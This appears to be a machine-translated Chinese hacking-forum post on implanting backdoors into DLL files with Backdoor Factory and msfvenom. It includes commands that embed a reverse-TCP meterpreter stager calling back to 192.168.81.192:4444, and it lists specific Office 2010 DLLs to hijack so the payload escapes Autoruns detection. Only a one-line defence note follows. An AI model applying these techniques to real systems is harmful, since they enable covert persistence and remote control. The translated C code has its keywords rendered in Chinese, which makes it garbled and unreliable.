跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

0x00 前言

之前的文章《利用BDF向EXE文件植入后门》介绍了利用后门工厂在EXE文件中嵌入后门的方法。这次我们将介绍在DLL文件中嵌入后门的思想,演示一种利用DLL劫持的方法,总结这种方法的特点,分析防御思路。

0x01 简介

本文将介绍以下内容:

劫持自己的DLL并修复错误

劫持系统的DLL并绕过自动运行的后门检测

0x02 利用思路

和嵌入DLL EXE文件的思路是一样的。它还改变程序的执行过程,跳转到代码洞穴,执行payload,然后返回程序的正常进程。

DLL和EXE文件最大的区别就是多了一些导出函数的功能。

在实现DLL劫持时,往往需要获取原DLL的导出函数,模拟导出函数,添加有效载荷,实现利用。

那么,后门工厂嵌入在DLL文件的后门中,是否应该考虑导出函数?

我们来测试一下,得出结论。

0x03 编写程序进行测试

测试dll testdll.dll:

#包括

#包括

BOOL API entry DllMain(HMODULE HMODULE,

呼叫的原因,

LPVOID lpReserved

)

{

开关(ul_reason_for_call)

{

案例DLL_PROCESS_ATTACH:

//MessageBox(NULL,NULL,NULL,0);

//睡眠(5000);

printf('[]DLL _ PROCESS _ ATTACH \ n ');

案例DLL_THREAD_ATTACH:

printf('[]DLL _ THREAD _ ATTACH \ n ');

案例DLL_THREAD_DETACH:

printf('[]DLL _ THREAD _ DETACH \ n ');

案例DLL_PROCESS_DETACH:

printf('[]DLL _ PROCESS _ DETACH \ n ');

打破;

}

返回TRUE

}

void导出1()

{

printf('[]export 1 \ n ');

}

导出函数是Export1

Dll加载程序loader.exe:

#包括

typedef void(* Export)();

int main(int argc,char* argv[])

{

导出exporttest

printf('[*]LoadLibrary \ n ');

HMODULE hdll lib=LoadLibrary(' testdll . dll ');

Export test=(Export)GetProcAddress(hDllLib,' Export 1 ');

export test();

睡眠(10000);

免费图书馆(hDllLib);

printf('[*]free library \ n ');

返回0;

}

程序如下所示执行,加载testdll.dll,并调用导出函数Export1。

2-1.png

使用后门工厂向DLL文件添加后门:

MSF venom-p windows/exec CMD=calc . exe-f raw calc . bin。/back door . py-f testdll.dll-s用户提供_外壳代码_线程化-U calc.bin -a

再次执行loader.exe,并测试下图

2-2.png

Payload执行成功,但程序流程被更改,FreeLibrary无法正常返回。

您需要调试DLL来找出错误的原因。

老师的第一个空跳模板:/back door . py-f testdll.dll-s洞穴_矿工_内联

选择。文本段。

执行Loader.exe,程序正常,那么中间的有效载荷有问题。

用免疫调试器打开一个新的testdll.dll,找到被劫持的位置,将有效载荷保存在0x10005716中。

如下图

2-3.png

可以推测,只要有效载荷能保持堆栈平衡,就不会影响程序的正常执行。

接下来,在0x10005716处填入我们的有效载荷。

可以使用CFF浏览器添加有效载荷。

首先定位有效载荷的起始点。

普沙德

推进功能

相应的十六进制代码是609C。

在CFF浏览器中切换到十六进制编辑器视图,搜索609C,找到起始点0x0000571A。

注:

免疫调试器得到的内存虚拟地址是0x1000571A,两者对应,位置正确。

为了扩展有效载荷空间,可以将下面调整栈平衡的代码整体后移。

如下图

2-5.png

2-6.png

将0x0005772-0x0000579E的全部数据后移,中间填入0x90。

选择该零件,右键-复制-十六进制。

找到正确的位置,右键单击-填充。

完整的操作如下

1-1.gif

按照这种方法,中间可以填充修改后的有效载荷,完成Bug修复。

通过免疫调试器看DLL文件,可以看到后门工厂在同一个地方劫持了DLL和EXE文件。

如下图

2-7.png

得出结论:

对于DLL文件,劫持初始化部分的结果是加载LoadLibrary时可以执行有效载荷。如果希望在程序加载DLL导出函数时执行有效载荷,可以将跳转代码改为导出函数。

0x04 劫持系统的DLL

对于Office 2010,分享几个你自己发现的DLL劫持和利用地点。

1、劫持Word-审阅试图

LOCALSVC。DLL,位于c:\ program files \ common files \ Microsoft shared \ rrloc 14 \

向dll添加有效负载。/backdoor . py-f LOCALSVC.DLL-H 192 . 168 . 81 . 192-P 4444-s反向_tcp_stager_threaded

替换dll(需要管理员许可),启动word.exe,切换到查看视图,弹回meterpreter。

测试下图

1-2.gif

2、劫持word-插入-图片

Tiptsf.dll,位于C: \程序文件\公共文件\ Microsoft共享\ ink \

替换需要TrustedInstaller权限。

关于如何获得TrustedInstaller权限,请参考文章《渗透技巧——Token窃取与利用》。

3、劫持word-文件

它还会影响其他位置:

word-页面布局-主题-浏览主题

GrooveIntlResource.dll,位于C:\ Program Files \ Microsoft Office \ Office 14 \ 2052

需要管理员权限。

4、劫持Excel-插入-图片

MSPTLS。DLL,位于C:\ Program Files \ Common Files \ Microsoft Shared \ Office 14 \

需要管理员权限。

上述测试如下

1-3.gif

注:

本节内容只是演示DLL劫持的一些利用方法。这些特殊的劫持地点只有在软件的某些功能开启时才会启动,因此可以绕过Autoruns的检测。

0x05 防御

对于系统DLL,将由微软签名。如果在DLL中植入后门,签名就会失效,这是一个普遍存在的问题。

但是对于第三方开发的软件,调用的第三方DLL是没有签名的,所以存在很大的被利用的风险。

0x06 小结

本文测试了利用后门工厂向DLL文件植入后门的方法,介绍了修复bug的思路,分享了一个利用DLL劫持的方法,仅供测试。通过总结这种方法的特点,简要介绍了防守中需要注意的问题。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。